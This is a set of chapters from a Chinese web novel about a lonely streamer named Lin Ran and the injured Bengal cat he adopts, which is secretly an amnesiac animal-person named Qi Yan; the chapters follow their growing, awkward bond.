林染和领导道歉的声音,把猫窝里的猫吵醒了。 猫咪从窝里钻出来,逆着窗外照射进来的晨光,伸了个懒腰。四肢伸展,修长健美,虽然还没成年,但已经是一个十足的帅猫模子。 今天本该是和他们遇到后的一个月里随便哪一天那样,很轻松又舒心的早晨。并不短的时间,让一人一猫互相适应并熟悉了彼此。 林染想起昨晚上毛茸茸的触感,心里空落落的,又想抱小猫了,朝咪咪发出“嘬嘬嘬”的声音,招了招手。 “咪咪,过来给我抱一下。” 猫咪远远地瞥了他一眼,不留情面地呲起牙朝林染哈气,转过身冲向洗手间。 林染:“……” 和猫亲近之路道阻且长。看来昨晚上是因为同情他才忍耐着抱了一分钟没逃走。 林染起身下床的时候动作还是很僵硬,昨晚摔得太狠,没东西拄着腿都没办法好好走路。好不容易蹒跚地走到洗手间,猫也一瘸一拐地从马桶边上跳下来,快速地掠过林染。 他们家猫会用马桶这件事,还得从林染刚把咪咪捡回家的时候说起。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 那会儿林染没经验,给猫准备的生活用品都现从网上网购回来的,可偏偏倒霉遇上那几天台风下雨,快递到得特别慢,平常三四天的东西寄了一周才姗姗来迟。 实在没办法,林染不得已教猫用马桶。这个出租房的设施都很老旧,马桶是那种需要拧开关的旧式马桶,对猫而言却设计得刚好。 林染亲眼看到自家咪咪用那只完好无损的后爪把马桶盖踢下来,整个猫都摊开贴在抽水柜上,努力地用前爪摁下冲水开关,就这样非常诡异地完成了一次完美的清洁。 从那以后猫就一直用马桶解决大小便,林染甚至不需要再给他铲屎,虽说很省心,却也非常的见外。一人一猫除了吃饭的时候能多说两句话,其他时候几乎零沟通。就像是一块儿在大城市合租分摊房租的室友,冷漠、寡言、没有情绪交流。 可是,这只猫天天吃我的睡我的,还不赚钱平摊房租水电,凭什么和我当室友? 想到这里,林染莫名怒从心头起,连牙也不刷了,推开洗手间门就嚷嚷。 “咪咪,过来给我抱一下!” 气势汹汹的语气,把缩回猫窝里等发粮的猫吓到,眼皮都没忍住跳了跳。 咪咪:“?”又发什么疯。 林染摸着门一路过来,边走边眉头紧锁,声音低沉:“我是你的主人,你知道吗?” 咪咪:“谁是?你吗?不承认。” 林染:“你别喵喵叫,我听不懂,你是不是在骂我呢,蠢猫!” 咪咪:“居然骂人……有病吧,被领导骂了怪我?” 林染走到猫咪面前,看着很明显被他的语气吓到忘记跑的咪咪,伸开双手把这团没有良心的毛茸茸狠狠拥住。 “你是我的猫,我想摸就摸想抱就抱,你凭什么翻我白眼!” 猫咪挣扎着发出激烈的叫声,想让林染离自己远点。可人类的力气对于受伤的猫来说还是太大,再加上林染现在情绪激动,他怎么都挣脱不开,正在恢复的后腿也隐隐作痛。 它阴沉着脸,刚想在林染这个不识好歹的人类脸上狠狠抓一下,突然感觉自己的后背传来一道很闷的,吸鼻子的声音。 在安静的房间里,林染的脸还贴着猫耳朵,声音大到简直难以忽视。 猫咪挣扎的动作逐渐停了下来,在林染怀里一动不动好一会儿,发现吸鼻子的声音频率越来越快,最终还是翻了个身,用软垫去触碰林染近在咫尺的脸。 “喵?” 干什么?这是哭了吗?你别以为你哭我就会原谅你弄疼我。 猫咪见林染没反应,又用收起指甲的爪子推了推林染。 “喵——” 有什么好哭的,我差点死了都没哭,你们人类真脆弱。 别哭了。 林染不知道猫咪在喵喵叫什么,把头埋起来,不让它看自己这么丢脸的时候。他也不知道自己平时一个这么坚强的人,怎么会因为被领导骂就难受成这样。 可能是腿疼心累,再加上原本以为和猫咪关系更近了一步,结果一觉醒来发现不过是这只坏猫短暂的施舍。 谁稀罕你的施舍?这里是我家,你凭什么这样对我。 各种情绪堆积起来,林染想生气,但仔细想想都没有底气,因为他很清楚自己和猫咪发脾气,是不敢和领导计较,懦弱又憋屈,他自己都有点唾弃自己。 但不管怎么样,林染还是不让猫咪看自己的脸,坚定地树立起“林染全家地位最高”的标准,否则这只势利眼的坏猫肯定会狠狠踩在他头上。 林染初中的时候,爸妈因为一场突如其来的车祸身亡了,肇事者比他们家还穷,是一位跑长途的货车司机,家里只剩年仅四岁的儿子。 没有赔偿,十几岁的林染还背上了爸妈留下来的债务,这些年出门闯荡没少吃闷亏,自以为锻炼出来一个强心脏。 在他的认知里,脆弱这件事,是不应该展现出来,也不应该展现给任何人看到的。他自己就应该是个堡垒,把那些欺负自己的人隔绝在外。只要自我催眠,告诉自己根本不在乎那些攻击和谩骂,林染就不会受伤。 至于为什么鼻子酸酸的,眼眶也红了。 林染决定把锅扣在猫身上。 谁叫这只坏猫不让抱。 “都是你的错。”林染闷着嗓子,小气地说。 4. 诡计多端的主人 林染请假不用上班,干脆扶着腰在家里打扫卫生。这一扫不得了,满鼻子猫毛。 沙发简直是重灾区,猫只有睡觉的时候爱待在窝里,其他时候都在沙发上趴着,毛都粘在林染买的廉价沙发套上,走过去随便摸一把,一手毛。 “你。”林染抿了抿嘴唇,跪在沙发边,一手扶着腰,一手指着在沙发另一侧漫不经心地舔着毛的咪咪,“走开,我要搞卫生。” 咪咪没搭理林染,继续舔毛。带着倒刺的粉色舌头梳理着刚才被林染泪水弄湿的毛发,突然顿了顿。 咸的。 猫咪从鼻子里哼出很轻的气。他非常不高兴。 人类果然都很无耻,林染明明是被领导骂哭的,还要把锅推在猫身上,这是污蔑。 而他都给这个人类抱了,虽然林染听不懂,他也安抚了林染几句,这人却恩将仇报,把眼泪都沾在自己打理得干干净净的毛发上,也没有说一句谢谢或者对不起,还要骂他蠢猫。 猫咪虽然失忆了,什么都想不起来,但他脾气很大,现在很烦。 林染见猫不搭理自己,干脆起身一把掀开被挠得起球的沙发布罩,连带着在上面梳毛的猫都被他卷走。 咪咪冷静从那片硬邦邦的布料里嗖地钻出来,伸出尖锐的爪子勾住灰色沙发,身体紧紧攀在上面,一动不动。林染把沙发套取下来的时候,猫又回到原来的位置,恢复了舔毛的动作,屁股都没挪开半寸,压根没把他放在眼里。 林染:“逆子……” 懒得和猫吵架,早上抱着猫哭了半天已经够丢脸了,虽然它什么也不懂,除了被吓到喵喵叫了两声,其他实际的举动几乎没有,但林染仍从猫不同往日的态度里捕捉到一丝难以觉察的安慰,这让林染觉得非常的别扭。 于是他说服自己,或许是因为自己一个人待在这座城市里太久了。 这个屋子林染租了好几年,从来都只有他自己一个人呆着,突然被另一个活着的生物侵占地盘。虽然只是一只猫,但这感觉……很微妙。 怎么说呢,大概是原来自己的情绪可以有别的渠道分享,而不是和从前一样孤零零地漂浮着,脚落不到地面。不管好的坏的,猫咪会回应他。 其实林染要的真的很少,只是想要一个陪伴而已,这只猫咪的存在填补了他的无助和孤独,因此才过了一会儿就缓了过来。 而且刚才林染确实有迁怒猫咪的意思。 自我检讨一分钟,林染很快承认自己也有问题。可他是主人,主人会和宠物认错吗? 他不知道。第一次养宠物,还是这样难养的小猫,林染开始发愁。他做的功课还是太少了,或许得抽时间看看猫咪心理学。 不过现在……林染觉得,一个会在主人伤心的时候乖乖让抱的猫咪,值得一个冻干奖励。 “咪咪。”林染把拆卸下来的沙发套扔进洗衣机,中途回来瞥了眼还在舔毛的猫,从零食盒子里拿出冻干,丢到猫咪脚边,“爸爸给你的奖励,今天很乖。” 猫咪舔毛的动作暂停,转头看向林染,不知道他做什么又突然变脸,警惕地垂头瞥了眼脚边的食物,没张嘴。 事出反常必有妖。 林染的信用额度在猫这里已经透支,他却毫无所知,笑着走过来,捡起冻干坐在猫的身侧,努力投喂。 猫咪不搭理他,趾高气昂地抬着胸脯,一瘸一拐跳下沙发,回到角落里的猫窝继续舔毛去了。 林染看着咪咪明显不悦的背影,连着喊了两三声“咪咪”,都没有猫回应他。 虽然平时喊名字也不搭理,可是林染敏感地察觉到猫在生气。 和平时那种无差别鄙视一切的生气不一样,但林染说不上来是什么。没办法,闲的没事干的林染打开电脑开始玩游戏消遣时间。 边玩边时不时斜着眼睛看向小猫。 等待匹配的时候,点开粉丝群,林染快速在键盘上敲打,询问那些小姑娘们要怎么才能让猫咪开心起来。 自从建了粉丝群,林染就没怎么在里面说过话,最多也就发发直播消息和通知。这还是林染第一次主动在群里聊到自己的事,粉丝们七嘴八舌地开始回复消息。 【是主播之前提到的那只小猫吗?】 林染:“对的,因为我抱它,它不愿意,现在生气了。”他想了想,猫咪会生气的原因可能还是因为被强制,大概抱猫的时候太紧,把它勒疼了。 虽说主人抱自己的猫咪天经地义,但刚才他确实有点失态,平复心情后的林染,担心自己的行为惹到猫了,毕竟刚捡到的时候它浑身上下伤那么多。 万一之前被虐待留下心理阴影了呢? 【想起来主包说小猫是受伤捡回家的流浪猫,可能在外面受了很多苦?要不你哄哄它】 【听我的,小猫就是欠爱,爱一顿就老实了】 还有人从论坛里甩进来一个链接,里面都是新手养猫人的提问,还有很多热心网友的回复。 从前的林染对这些嗤之以鼻,爱搭不理,现在的林染点进链接,一字一句仔细观摩,寻找哄猫的办法。 有网友说,猫咪就像人类五到六岁的小孩,它喜欢什么,就给它什么,要顺着它来,偶尔掉毛期自己没办法梳理猫毛,主人就帮忙梳理和按摩,猫咪会觉得很舒服。 最重要一点就是食物,得让猫咪依赖主人的食物,而不是放在家里让它随意吃饱。 林染深感认同,开始学习当一名有爱的好主人。 于是,接下来的几天时间里,林染不再强制爱咪咪,而是给足它空间,并非常鸡贼地在出门的时候只给咪咪不那么多的粮,吊着它,再在下班后边夹着嗓子喊咪咪,边亲手给他做丰盛的晚饭。 就这样过了没多久,林染偷偷观察着小猫,发现咪咪真的越来越黏自己,于是在某个周末,林染开启了第二步——适当的、会让猫咪感到舒服的肢体接触。 为此,在具体实践前,林染跟着网站上的视频学习了好多种给猫咪按摩的手法。 推开门,一个浅金色的身影从沙发的方向快步冲过来,站在林染面前,两只爪子攀在地上,猫仰着脸,绿色的眼睛里是被灯光映出来的水痕。 咪咪:“你每天是不是想把我饿死呢?才回来?” 猫生气地质问林染,边叫着边在他脚边走来走去。林染把这样的叫声当做咪咪想念他的信号,美滋滋地蹲下身摸了摸猫脑袋。 林染:“宝贝儿,今天一个人在家过得怎么样?” 一人一猫相处的日子长了,猫咪不再对林染一大堆肉麻的昵称感到不舒服,非常习惯地跟在他脚后跟一块儿进了厨房,猛地一跃,扒住林染的裤子爬上去,最后落在厨房的案台上。 他要监督林染做饭。 猫咪觉得林染实在是诡计多端,把猫当傻子,他 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 早就看出来林染故意让自己饿肚子。最近这几天只有林染回家以后自己才能吃到好吃的。 他不是那些普通的傻猫,就这样被狡猾的人类欺骗拿捏。 可是他这几天都有看到林染在网上搜怎么让猫咪开心的问题。猫咪根本都不用偷偷去看,林染以为他看不懂字听不懂人话,还在家里反复背诵。 猫咪有点得意地舔了舔爪子,看在林染这么在乎他,这么想要自己喜欢他的份上,暂且原谅了林染卑鄙的行为。 咪咪:“鸡胸肉多放点。” 林染边把肉切成肉末,边在里边儿放猫喜欢的鸡蛋和益生菌。这些都是他在论坛里做功课学习到的,这些东西有营养,还能让猫少掉毛。最后林染捧着一大盆食物,给猫咪享用,自己打开电脑开启每天的直播。 四个小时的直播结束后,林染在椅子上伸了伸懒腰,起身走到沙发另一侧猫咪常坐的地方。 “宝宝,今天晚上帮你按摩好不好。” 猫尾巴闲适地往屁股两侧甩,躺在沙发上懒洋洋的:“不需要,走开,别烦。” 听不懂,但拒绝也不行。林染连着学习了好几天,决定在今晚拿猫咪实践一下。 于是,以迅雷不及掩耳之势抱起猫,一屁股坐在沙发上,用双手把咪咪想逃跑的身体固定住,边强迫边哄。 “宝宝,按摩很舒服的。” 说完,手指跟随者脑海里学习的印象,无师自通地开始给手里的猫按摩。 咪咪的后肢恢复得很不错,但还是有点瘸,林染抓猫的时候刻意避开了,挠了两下猫尾巴根处的毛,尾巴就控制不住地高高翘起。 猫都惊呆了,一股酥麻的感觉从林染下手的位置,一路沿着躯体延伸到脑袋里,他不可置信地回头看了两眼自己的尾巴,心里怒骂尾巴是叛徒。 “怎么样,舒服吗。” “喵。”一点都不舒服。 林染笑嘻嘻地把猫抱紧:“都发出咕噜的声音了,看来很喜欢按摩。” 随后在猫咪恼羞成怒的叫声中,林染开始沿着猫脑袋给咪咪按摩。一通揉捏下来,起初还挣扎着要跑的猫直接摊开靠在林染的怀里,因为林染的动作一颠一颠,四肢放松地舒展开。 最后甚至舒服地闭上眼睛睡着了。 谁能想到这只猫咪刚到林染家的时候,警惕性高到连睡觉都不敢睡死,林染经常半夜起床喝水都会看到角落里一双绿的发光的眼睛,被吓到需要平复半天心情才能再次睡下。 现在居然敢在觊觎它柔软触感皮毛的人类面前呼呼大睡。 林染把猫带上床,趁猫咪睡着,把脑袋往他肚子的地方狠狠吸了一口。 深夜,窗外迎来这座城市的初雪,落在屋顶房檐上,伴随着寒风,凛冽地吹刮着,发出沉闷的声响。 林染吸着猫,觉得猫咪肚子上的毛非常松软。扫在鼻子上的时候,很暖和。 林染终于意识到原来这个租来的房子对他而言,并不仅仅是个临时落脚的地方。他给自己捡回来一位家人,即使这位新成员不会说话,脾气很大,还得顺毛摸。 但这一刻的林染,仍然很开心。 明明在垃圾桶发现这只伤痕累累猫咪,是林染并不精彩的灰色人生中,很小的一场意外。 却让他在这座呆了好几年仍然陌生无比的城市里,找到一片能让自己暂时放松起来的、温暖的港湾。 5. 亲一下,炸毛了 今年s市异常的冷,下了一轮又一轮的暴雪,十二月底的气温直逼零下二十度,道路全都结上了厚厚的冰,行人只能顶着昏暗路灯,费劲又谨慎地踩着破碎的路回家。 到家的时候已经八点多,林染今天又被迫加班,导致他直播的时间都往后推了。 自从上回因为安装摄像头把自己摔伤,导致临时爽约领导的出差,虽然已经解释过无数次,那以后林染还是被惦记上了,新领导对他各种找茬穿小鞋。 莫名其妙多出来的零零碎碎的杂活累活都是他干,连给领导开车停车这种事也临时交过来,今晚更是晚饭没吃,被迫多加了两小时班。 因为要给领导交停车费,而他忙上忙下找不到负责人,最后在便利店门口和同样是打工人的小哥面面相觑。 这才把该死的停车费交上。却没想到耽误了整整两个小时。 怕猫在家饿肚子才马不停蹄赶回来。 咪咪嘴太挑,不爱吃任何一款猫粮,林染亲手给他做的鸡胸肉还要配点新鲜蔬菜才肯下嘴。跟个人似的。 果然,因为回家晚了,一开门就看到一只长大了不少的豹纹猫咪骂骂咧咧冲出来,扒住林染的裤腿喵喵叫。 “喵。” 林染感受到裤腿被拉扯,立即垂头看它。 几个月过去,这只孟加拉豹猫比刚捡回家时大了一圈,却没有普通猫咪那样吃得圆滚滚肥嘟嘟的模样,而是越长腿越长,像一只真正的小豹子那样漂亮。 一双绿色的眼睛,完美的浅金色豹纹猫毛,再加上尖尖的耳朵和粉色的鼻子,板起脸的时候威风凛凛。 不仅长得不像别人家那些爱钻床底的胖猫,连性格也十分省心。虽然高高大大的,腿恢复了以后看起来精力十分旺盛的模样,却从来不在家里乱尿打闹,用房东的家具磨爪子、啃坏数据线。 很省心懂事的一只猫。 林染看自家猫儿子越看越喜欢,这几个月拍了一大堆照片和视频记录咪咪的成长,自己一个人欣赏还不够,还要发在账号上炫耀。 从一个恐怖游戏男主播变成萌宠博主,不仅被粉丝调侃,竟然招惹来猫舍私下敲他,想让他们自家的猫和咪咪配种。 当然被林染拒绝了。开玩笑,他们家猫还有两个月才成年,配什么配。 赶紧把门关上,让大门隔绝楼道里的冷风,林染顺手将脚上毛茸茸暖洋洋的猫捞起来,抱进怀里,埋进自己肩窝,用被冻得没知觉的耳朵蹭了蹭。 “一个人在家里待的怎么样?爸爸不是故意晚回家的,这就给你做饭。” 相处三个月,林染和猫咪已经非常亲近,至少在林染看来是这样。多亏了论坛里的网友,他现在已经能抱着猫咪长达半个小时都不挣扎不生气。 不仅如此,最近因为天冷,咪咪还会在半夜主动钻进他被窝里睡觉。 不过这猫很好面子,林染主动招呼他上床睡觉不搭理,非要半夜被冻醒后自己跳上床,还装模作样地在早晨闹钟响之前醒来,回到猫窝。 林染第一次发现时,这只臭猫已经这样好几天了,要不是那天晚上它睡觉不老实,两只腿都踩在林染的胸口害他做噩梦被闷醒,至今还抓不到它。 从那之后,林染不再客气询问咪咪要不要上床睡觉,而是在睡前不由分说把猫从猫窝里薅起来,塞进被子。 做好猫饭,林染赶紧上线开播。因为今晚加班,直播时间顺延,快到凌晨两点才能下播。 好不容易熬到时间,不仅观众都跑光了,林染也困得都快睁不开眼睛,洗漱完光溜溜地就钻进被窝里,一只毛茸茸的家伙凑过来,肉乎乎的爪垫踩住林染的肩膀。 林染条件反射地摸了把它的尾巴毛,听到猫咪近在咫尺的呼吸声,打起精神:“这么晚了,怎么还没睡?” 猫则是用尾巴甩开林染的手,居高临下地垂着脑袋盯住他,碧绿色的眼珠子在昏暗的台灯下显得很黑。 “喵。” 下回不准这么晚回家。 猫觉得有点生气,每当他这样做就代表他不开心了。 林染自认已经很了解咪咪,于是伸手把猫挂在自己身上,动作很轻地顺着它脑袋后边儿的毛安抚。 “怎么了,你担心我是不是。” “喵。” 谁担心?自作多情。 林染感受到猫咪的心跳,此刻窝进温暖的被窝,整个人都十分放松,没忍住往猫的脑袋顶上亲了口。 “知道了,下回早点回来。” 温热的气息瞬间笼罩了猫,他甚至没有第一时间反应过来,就被亲了脑袋。 猫愣住了。 他虽然是一只失忆的猫,但是这几个月多多少少恢复了一点记忆。 即使每次想到点什么脑袋都会疼,但是猫总算想起来最重要的事——他的名字叫祁宴。 祁宴这个名字有名有姓,一听就不是给猫起的,根据平时在家跟着林染,从那些乱七八糟的肥皂剧和新闻里学来一些生活常识,祁宴猜测,自己大概是个动物人。 那种乍一看是人类,却长了猫尾巴、猫耳朵的猫系动物人,为此,祁晏曾经在摄像头看不到的死角把林染的手机偷出来,用搜索软件搜了一下有关动物人的描述。 动物人,顾名思义,是具有动物特征的人类。几百年前,世界某个角落出现了第一位动物人,名为诺兰,是一只即将被人类捕杀的浅海鱼,在快要被扔进锅前,挣扎着变成了一名浑身赤果的少年。 对当时而言,这样的事极为惊世骇俗,本想要将这个消息隐瞒过去私下研究,可没几个月,世界各地纷纷出现突然变成人类的动物人。 一个全新的种族就这样骤然诞生,像上帝灵机一动过头开的荒谬玩笑。 迄今为止,从动物人群体诞生到壮大,也只过了几百年。 猫咪用一晚上时间在手机里恶补知识,得知虽然国家在几十年前正式颁布了动物人反歧视法案,实际上收效一般。 动物人从餐桌上的食物,到如今几乎和普通人类拥有将近平等的地位,这其中流过的血和泪不少,这也说明,两个种族之间的矛盾和问题非常多。 虽然祁宴觉得这件事根本无所谓,反正不管自己变成什么样,哪怕是人还是猫,林染都会喜欢他。 祁宴一度被林染骚扰到生气,可是每当生完气,这个人类就会讨好卖乖地给他做大餐,还买一些他根本不稀罕的弱智玩具。 甚至还要给祁宴定做一个昂贵的防走失项圈,强行抓着猫爪子,要求他选择自己最喜欢的款式。 祁宴不喜欢金色,觉得又丑又暴发户,虽然普通猫咪根本区分不出来这些,但他是个动物人,于是勉为其难地指着银色的项圈,喵喵叫。 林染就给他预定了银色,很贵,林染都穷成这样了,对自己抠抠搜搜的,对猫却很大方。 祁宴也思考过为什么林染会这么喜欢自己,根据他这几个月的观察,林染虽然每天晚上在网上和网友聊天,但现实生活里其实没什么朋友,还要出去打工赚钱,回到家的时候像是被吸干。 祁宴不止一次听到林染和自己抱怨,他真的好累,好想辞职,也不止一次趁机被林染抱住,听到狡猾的人类说。 只要抱一抱小猫就不累了。 祁宴查过网站,知道一个月五千块的薪资不算高,他曾经为此担忧自己的伙食,于是大发慈悲地准许了林染偶尔放肆的行为。 但林染莫名其妙亲自己这件事,祁宴实在难以接受。 虽然失忆了,祁宴也仍然知道,亲吻这件事是只有情侣之间才会做。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>祁宴的猫毛后知后觉地炸开,他有些按捺不住地想踩在林染脸上,问他刚刚在干什么。 他不是一只真正的小猫,他是个猫系动物人,是个男人,祁宴甚至瞬间起了鸡皮疙瘩。 这是x骚扰吧? 糟糕的人类怎么这么没有边界感! 祁宴想起电视里女主对男主的指控,当初看的时候还觉得演员演得太激动,现在事情发生在自己头上,猫爪子在人类柔软的皮肤上动了动,把前一秒还昏昏欲睡的林染挠醒了。 “咪咪,怎么了。”林染带着浓重鼻音的声音传来,他伸手摸了摸小腹的位置,这才意识到自己没穿睡衣。 赶紧坐起来,掀开被子。昏暗的台灯下,咪咪蹲坐在林染腿间的空地,正一眨不眨地看着自己。 林染:“?”发生了什么,怎么突然这么严肃。 这个姿势让林染感到怪异,他顾不上自己刚才有些刺痛的肚子,缩了缩胯,穿好衣服把猫咪捞到肚子上。 “怎么了宝宝,不困吗?” 祁宴瞪着他半天,最后因为语言不通只能蹦出一句喵叫,随后给了林染的肚皮一巴掌,起身跳下床,决定今晚回猫窝睡觉。 虽然被窝比猫窝暖和许多,但祁宴觉得他确实该从今天起和林染保持距离。 林染茫然地看着它的背影,不知道猫咪此刻暗潮汹涌的心情,老父亲一样叮嘱:“你好好盖被子啊,别感冒了。” “喵。” 要你管,流氓。 如果变成人就好了,这样林染就不会随便乱亲。 祁宴觉得自己最近大概是太过听话,让林染这个人类开始得寸进尺了。 下回如果再这样,就咬回去。 祁宴钻进冰凉的猫窝,把自己蜷缩起来,拽过林染用旧衣服给他做的毯子,在都是林染味道的毯子上不高兴地睡去。 安静的夜晚,猫咪做了个梦。他梦到自己变成了一个动物人,在林染的床上醒来。他的人类身体和修长健壮,比林染足足高一个脑袋,把这个人类整个都包裹在怀里。 为什么会贴这么紧? 猫咪祁宴感受到林染的呼吸,大惊失色。于是一把推开怀里的林染,把人甩得老远。 “怎么了?”林染睡得脸颊通红,衣领也掉在锁骨下方,眼睛湿漉漉的,看起来被人欺负过。可他却十分镇定地抬手揉眼睛,非但没生气,还慢吞吞地爬回祁宴身边,一把抱住祁宴僵硬的腰,“做噩梦了吗?” 说完,撅起嘴,一口亲在动物人祁宴的脸上,以作安慰。 温软湿热的触感,是林染的味道。 祁宴瞪大眼睛,瞬间黑了脸,觉得林染简直不知检点到夸张。 亲猫就算了,人也亲。让你亲了吗? 祁宴很想咬林染,可是窗外突然狂风大作,震耳欲聋。从窗户里钻进来一股带着寒意的风,围绕在他身侧,房间的温度瞬间由热转冷。 “阿嚏!” 从黑暗中挣扎着翻身,猫咪被冻醒了。 他一脸茫然地抬头,还没回过神,似乎不大明白自己为什么一个人在冰凉的猫窝里,咬着毯子冲到床上。然而在钻进林染温暖的被子里的下一秒,浑身一僵,猛地想起来什么。 可还没等他原路返回,一只热乎乎的手一把捞过祁宴,将他带进怀里。 回想起刚刚的梦,祁宴非常别扭,刚挣扎了两下,大手重重地拍在猫屁股上,祁宴听到林染睡得迷迷糊糊的声音里带了不耐烦。 “别作,冷气都灌进来了,生病还得花钱,滚进来睡觉!” 祁宴:“……” 和梦里乖巧温柔的林染完全不一样,现实凶死了。 猫臭着脸摊在林染的胸口,决定从明天开始,再和这个糟糕的人类保持距离。 6. 小吵怡情 林染最近觉得,自己捡回来的那只豹猫有点怪。 明明他都已经按照论坛里资深养猫人的攻略,驯服了这只臭脾气又警惕性极强的猫咪,却发现咪咪好像开始疏远他。 每天回家也不再第一时间冲出来,边嗷嗷叫边催饭,而是懒洋洋地窝在沙发里睡觉,要林染连着叫三四声才会慢吞吞地走过来。 不仅如此,还不让抱了,就算强行抱住,不到一分钟就开始疯狂地挣扎。睡觉也不再钻被窝,叼着它那破毯子靠在暖气片边上呼呼大睡。没心没肺。 虽然喊他名字还会拉着脸远远地应一声,但这种前后过于鲜明的对比,导致林染人生中第一次真切地感受到“由俭入奢易,由奢入俭难”这句话。 到底怎么回事? 林染心里憋了火,又怕猫是生病了才会这样,于是把咪咪塞进航空箱里,带去医院做检查。 结果数据显示一切都好,还白花了几百块。林染的怒气值逐渐积攒。 可是,他不愿意因为生气而破坏这之前努力讨好小猫的几个月成果,而且,他真的很想念冬天晚上挂在他脖子上热乎乎猫围脖。 然而林染前一晚才发誓不对猫生气,第二天就反悔了。因为咪咪不仅又对他的指令装聋作哑,还被林染发现它挠坏了家里的新沙发布罩。 实在没忍住,新仇旧恨赶在一起,林染在早上离家上班前和猫吵了一架。 场面很滑稽,是林染单方面的输出,咪咪半天只能回应几句没什么震慑力的喵喵叫,被骂到气得钻进床底不肯出来送他上班,林然也不惯着它,摔了门就走了。 林染因为这事上了火,大冬天的,嘴里长了颗巨大的溃疡,中午和同事去食堂吃饭的时候,没注意顶到了疼的地方,狠狠抽气。 “怎么上火了,又被王语找茬了?” 陪林染一块儿吃饭的人是他在公司里关系最好的饭搭子,一位戴着眼镜的南方姑娘,看起来斯斯文文温温柔柔,却在某天吃饭的时候当着林染的面,忍无可忍地怒骂新来领导王语整整一小时,这一小时飙出来的脏话比林染这辈子说的都多。 林染木着脸,心底堵得慌,不知道该从何说起。 “不是。”他艰难地咽下最后一口饭,“我们家猫,最近有点奇怪。就是,不怎么亲我了,这是正常的吗。去医院看了医生,没生病,搞不懂我哪儿惹着它了,已经整整一星期对我爱答不理,它下一步是不是要离家出走了。当初受了伤才捡回来,本来就是只流浪猫,万一它更喜欢在外边的生活……” 话题一起,林染满肚子郁闷根本藏不住,一股脑地全部倾诉给江嫣,语气低落,十分沮丧。他没想到自己做主人做成这样,被一只猫给拿捏住了。哪有越养越生疏的道理,平时白疼它了。 林染成天笑嘻嘻,似乎任何事都不放在心上,什么烦恼都不往嘴上挂,这副模样倒是叫江嫣惊讶了好一会儿。 居然就是因为一只捡来的猫。 至于吗? “你别急。”江嫣安抚林染,“我合租的舍友收养了五六只流浪猫,那些猫一开始都可凶了,现在整天黏她黏得不行,要不今天下班你顺道去我家看看?取取经。离你家也不远。” 林染愣了愣,眨眨眼睛,看向江嫣,欲言又止。 江嫣没听到他回答,从手机里抬起头刚要说话,也愣住了。 两人对视半天,林染尴尬得挠了挠下巴,还在思索从哪个角度回答更合适,就看到对方先一步开口。 “你什么表情?”江嫣怒了,“少自作多情,我只是把你当朋友!” 林染:“……哦。” “哦个屁哦。”江嫣忍无可忍,掏出手机摆在他面前。林染被动地去看,屏保是个短发女孩,却并不是江嫣本人,也不像林染认识的任何一个女艺人。 林染:“?” 啊?是他想的那个意思么? 江嫣头脑一热,主动地出了柜,反应过来之后连忙把手机收回去,满脸不自在。 “是我……女朋友。” 非常勇敢。 林染忍不住轻轻鼓掌,被恼羞成怒的江嫣眼神刀杀过来,又乖乖地放下手,装做什么都没发生过。 两人原本只是上班时候的饭搭子,十分塑料。偶尔工作闲聊,在私下大骂特骂领导,一放假就再也不联系。 但这回林染不小心知道了江嫣的性取向,反倒叫塑料友谊很快升华了。 下了班就跟在江嫣背后,到人家情侣的家参观,一路被江嫣东拉西扯聊人生观价值观世界观,还被迫知道了不少人家情侣的矛盾,帮忙分析情感问题。明明他连恋爱都没谈过,结果成了同事的恋爱军师。 哦,问家里那只蠢猫怎么样? 林染面无表情地想。 饿死它算了,没良心的东西。 另一边,今天出了大太阳,天气回暖了些。蠢猫正蹲在窗台边的猫爬架上往外看,这里能越过外边停着的小车,观察到小区人来人往的门口。他可没有在等林染回家,早上被指着鼻子骂的气还没消,只不过是闲得无聊看看窗外乱飞的鸟。 祁宴在那个视野相当好的位置上蹲了半小时,觉得腿有点酸,准备趴下来继续,一阵十分聒噪的叫声由远及近,停在窗外,挠了挠玻璃。 尖锐的指甲摩擦着光滑的平面,发出刺耳的声音,叫祁宴忍不住皱眉。 探了探身体,往外看。 是小区里那只三花猫,祁宴蹲在猫爬架上看到过林染给她喂自己不肯吃的猫粮。自从林染喂了一次,这只猫有一阵就天天路过他们家,在外边儿挠窗。 祁宴板起脸,看回去。 “你怎么又来了,离我远点。”祁宴傲慢地睨着那只母猫,对她的示好非常不屑,“姓林的是不会收养你的,别白费心机了。” 祁宴不是真猫,本质是个动物人,再加上失忆,对猫的习性并不了解,更别提他压根没发现这只连续三天来找他的母猫,其实是发晴了。 三花猫蹲在草丛中,往透明的玻璃窗里看。这个屋子里很善良的男主人,养了一只高大又帅气的猫,比她在小区里见到的所有公猫都帅气。于是三花猫继续夹着嗓子朝祁宴叫。 但这种行为无异于给瞎子抛媚眼,祁宴听着三花猫越来越娇柔的叫声,脸色很臭。 “无论怎么叫,林染也不可能收留你的。”祁宴冷冰冰地说,“他特别喜欢我,不会再养别的猫。” * 来到同事家的林染,一开始还有点拘谨,然而接下来的半个小时里,他摸到了五六只热情似火的猫咪,简直老鼠掉进了米缸,笑得合不拢嘴,逮住同事女朋友家里那只最胖的长毛橘猫,嘴里不停地喊“宝贝”“乖乖”“小可爱”。 看到自己的饭搭子仿佛鬼上身,江嫣起了一身鸡皮疙瘩。 “快滚。” 最后离开的时候,林染笑眯眯地朝同事告别,转过头一脸意犹未尽。他终于知道为什么那么多人都爱去猫咖了,一大堆毛茸茸争前恐后地冲过来在他脚边撒娇卖萌,谁能忍住不摸摸抱抱。林染已经开始羡慕江嫣,居然能和这么多可爱的小猫一块儿生活。 想起自己家里那只讨债的,林染嘴角的笑立马消失,头一回生出了嫉妒的心情。 今天江嫣对象一直开导他,说猫咪的性格是多种多样的,有爱撒娇的,就会有高冷懂事甚至坏脾气的,这些都需要主人包容引导,并且教育他们做一只合格的 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 宠物。是一场持久战。 既然这样,林染思索了几分钟,又掏出手机相册里猫的照片视频细细品味,提高自己对咪咪的耐心,在心底反复强调——它只是一只蠢猫,包容它,忍耐它,爱它,是每个猫咪主人都该做的。 